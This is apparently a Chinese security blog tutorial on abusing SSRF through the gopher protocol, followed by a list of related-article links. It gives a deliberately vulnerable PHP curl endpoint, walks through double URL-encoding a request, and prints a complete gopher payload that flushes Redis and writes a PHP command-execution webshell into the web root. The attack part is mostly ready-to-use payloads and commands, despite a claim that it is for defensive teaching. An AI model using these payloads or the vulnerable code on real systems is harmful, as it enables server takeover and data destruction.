作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途

Gopher协议扩展利用

  • Gopher协议
    • 利用要点
    • 利用方式
  • 小案例
  • ssrf利用redis写入webshell

Gopher协议

Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它
但是!在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛
利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,
并可以构造发送GET,POST请求包

说白了就是:通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包
格式

gopher://<host>:<post>/<gopher-path>_后面接TCP数据流

利用要点

PHP版本大于等于5.3
PHP.ini开启了php_curl
gopher没有默认端口,需要指定:gopher://127.0.0.1:80
在传送GET或POST数据时需要经过二次URl编码
url编码时回车换行需要使用%0d%0a替换%0a
POST中的&也需要url编码。

利用方式

1.利用SSRF进行内网渗透
2.gopher协议反弹shell
3.超级经典的redis写入webshell

小案例

构造GET数据请求127.0.0.1页面
1.一个存在ssrf漏洞的代码

<?PHP$URL = $_GET['URL'];$CH = CURL_INIT();CURL_SETOPT($CH,CURLOPT_URL, $URL);CURL_SETOPT($CH,CURLOPT_HEADER,FALSE);CURL_SETOPT($CH,CURLOPT_RETURNTRANSFER,TRUE);CURL_SETOPT($CH,CURLOPT_SSL_VERIFYPEER,FALSE);CURL_SETOPT($CH,CURLOPT_FOLLOWLOCATION,TRUE);$RES = CURL_EXEC($CH);CURL_CLOSE($CH);ECHO $RES;
?>

2.构造一个get请求包
我这里用postman获取访问127.0.0.1:80的请求包

复制出来进行第一次URL编码http://ctf.ssleye.com/url.html

GET%20/%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80


进行第二次编码前,将%0a替换成%0d%0a,在代码最后也添加个%0d%0a以防万一
(因为换行在http请求中是%0d%0a,但是URL编码器只会编码出%0a)

GET%20/%20HTTP/1.1%0d%0AHost%3A%20127.0.0.1%3A80%0d%0a

进行第二次URL编码

GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a


3.将构造好的代码与gopher协议连用

gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a

4.利用ssrf漏洞发送gopher请求

127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a

发现请求成功,但返回消息不对

调试发现需要在GET请求数据前,随便添加一个字符(我添加下划线_)

127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/_GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a


现在请求成功,ssrf漏洞成功发出来我构造的GET请求。

ssrf利用redis写入webshell

小小的复现一下,我用的kali
先安装redis

wget http://download.redis.io/releases/redis-6.0.6.tar.gz //下载redis
tar xzf redis-6.0.6.tar.gz //解压
cd redis-6.0.6
make //编译,会产生src文件夹,存放着redis-server和redis-cli
cd src
./redis-server ../redis.config //以默认配置启动redis服务
重新开启一个终端
cd redis-6.0.6/src
./redis-cli  //进入操作终端
ping一下返回pong说明成功

1.手动构造代码过于繁琐,这里利用大佬写的工具来生成payload
https://github.com/tarunkant/Gopherus

代码意思是使用redis在指定目录生成shell.php文件,并写入一句话木马。
具体用法有说明。
2.将代码与SSRF漏洞组合

http://192.168.1.131/test/index.php?URL=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

3.最后,在kali的目录中发现成功写入webshell

SSRF漏洞-Gopher协议扩展利用相关推荐

  1. SSRF漏洞详解与利用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是SSRF漏洞详解与利用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授 ...

  2. SSRF之GOPHER协议利用

    目录 GOPHER协议 GOPHER协议发起的格式 GOPHER利用工具 案例一:CTFSHOW-359关 GOPHER协议 GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70,但是 ...

  3. SSRF中phar协议和gopher协议的利用

    我们在学习SSRF漏洞的时候,经常会只关注file协议等,因为利用方式简单.实际上随着php版本的提升和编程技术的规范,能够直接利用的漏洞越来越少了,所以学习使用phar和gopher协议是很有必要的 ...

  4. 【漏洞学习——SSRF】腾讯某处SSRF漏洞(非常好的利用点)附利用脚本

    漏洞细节 ## 1. 描述 本文章将概述一些经典的SSRF漏洞利用原理,从Fuzz扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示. ### 1.1 漏洞信息 > ...

  5. SSRF学习-gopher协议学习

    ssrf是攻击者伪造服务器端发起请求的漏洞 读取服务器内部文件 端口扫描 攻击脆弱的内网应用 pikachu靶场 curl_exec() 使用此函数前提 PHP版本>=5.3 开启extensi ...

  6. 分享SSRF漏洞的学习和利用

    前言 本文主要记录一次我们在复盘嘶吼网站渗透报告时遇到的一个SSRF漏洞.此漏洞并结合腾讯云的API接口,可以获取大量嘶吼服务器的敏感信息.利用这些敏感信息,又可以进行更为深入的渗透. 这篇文章将会发 ...

  7. SSRF漏洞内网渗透利用(实例)

    目录 常出现的位置 绕过方式 正则过滤指定网址

  8. Web安全之SSRF漏洞

    内容 SSRF漏洞的危害 SSRF漏洞的挖掘 SSRF漏洞的防御 SSRF漏洞原理概述 背景 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形 ...

  9. ssrf漏洞php代码审计1

    (1)原理 web服务器经常需要从别的服务器获取数据,比如文件载入.图片拉取.图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求.因为web服务器常搭 ...

  10. ue编辑器漏洞_【华中科技大学 - 漏洞预警】百度 UEditor web 编辑器 v1.4.3 等多个版本存在 SSRF 漏洞...

    近日,互联网上公开了UEditor编辑器v1.4.3版本的SSRF漏洞信息及分析复现材料.该漏洞是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,进行进一步测试.目前,官方 ...

最新文章

  1. android jar 电子书下载,【Android】Gradle project sync jar包长时间下载不下来的解决办法...
  2. 负载均衡算法-权重轮询均衡
  3. 如何通过缓存来提升系统性能
  4. 5y计算机应用基础题库,数学log练习题和答案.doc
  5. 在 ASP.NET MVC 3 中应用 KindEditor
  6. Atcoder Grand Contest 026 (AGC026) F - Manju Game 博弈,动态规划
  7. 增加或修改的存储过程
  8. 计算机应用与技术大赛,关于举办2017年燕山大学第一届计算机应用技术与程序设计大赛的通知...
  9. 树莓派4支持多大tf卡_陪你一起玩树莓派-系统安装
  10. 项目管理学习笔记五:项目整体管理
  11. 【论文笔记】基于2-channel network的图片相似度判别-CVPR 2015
  12. 面向全局搜索的自适应领导者樽海鞘群算法
  13. Unity动作游戏大全
  14. [笔记]unity渲染相关各种方案总结
  15. PHP5.5 ~ PHP7.2新特性总结
  16. XTU (湘潭大学) 2011 新生练习赛(第一场)/ Problem B N! Last non zero
  17. LE250UQ激光位移传感器
  18. ARM嵌入式主板之路
  19. 自动驾驶决策控制及运动规划史上最详细最接地气综述
  20. 基于服务树的动态资源管理方法

热门文章

  1. 阳明心学解析——心学本质关系连接
  2. Unity基础到入门-导航系统(Navigation)
  3. 机器学习综述论文笔记:Machine Learning: A Review of Learning Types
  4. 计算机 网络发现不了电脑,电脑搜不到无线网络怎么办
  5. 【微信小程序】协同工作和发布 数据绑定
  6. UDP实时图像传输进阶篇——1080P视频传输
  7. PHP最高权限的获取
  8. 语音识别语言模型和拼音字典文件制作
  9. 成功之路散文连载之笨人论
  10. 图扑数字孪生智慧加油站,构建安全防护网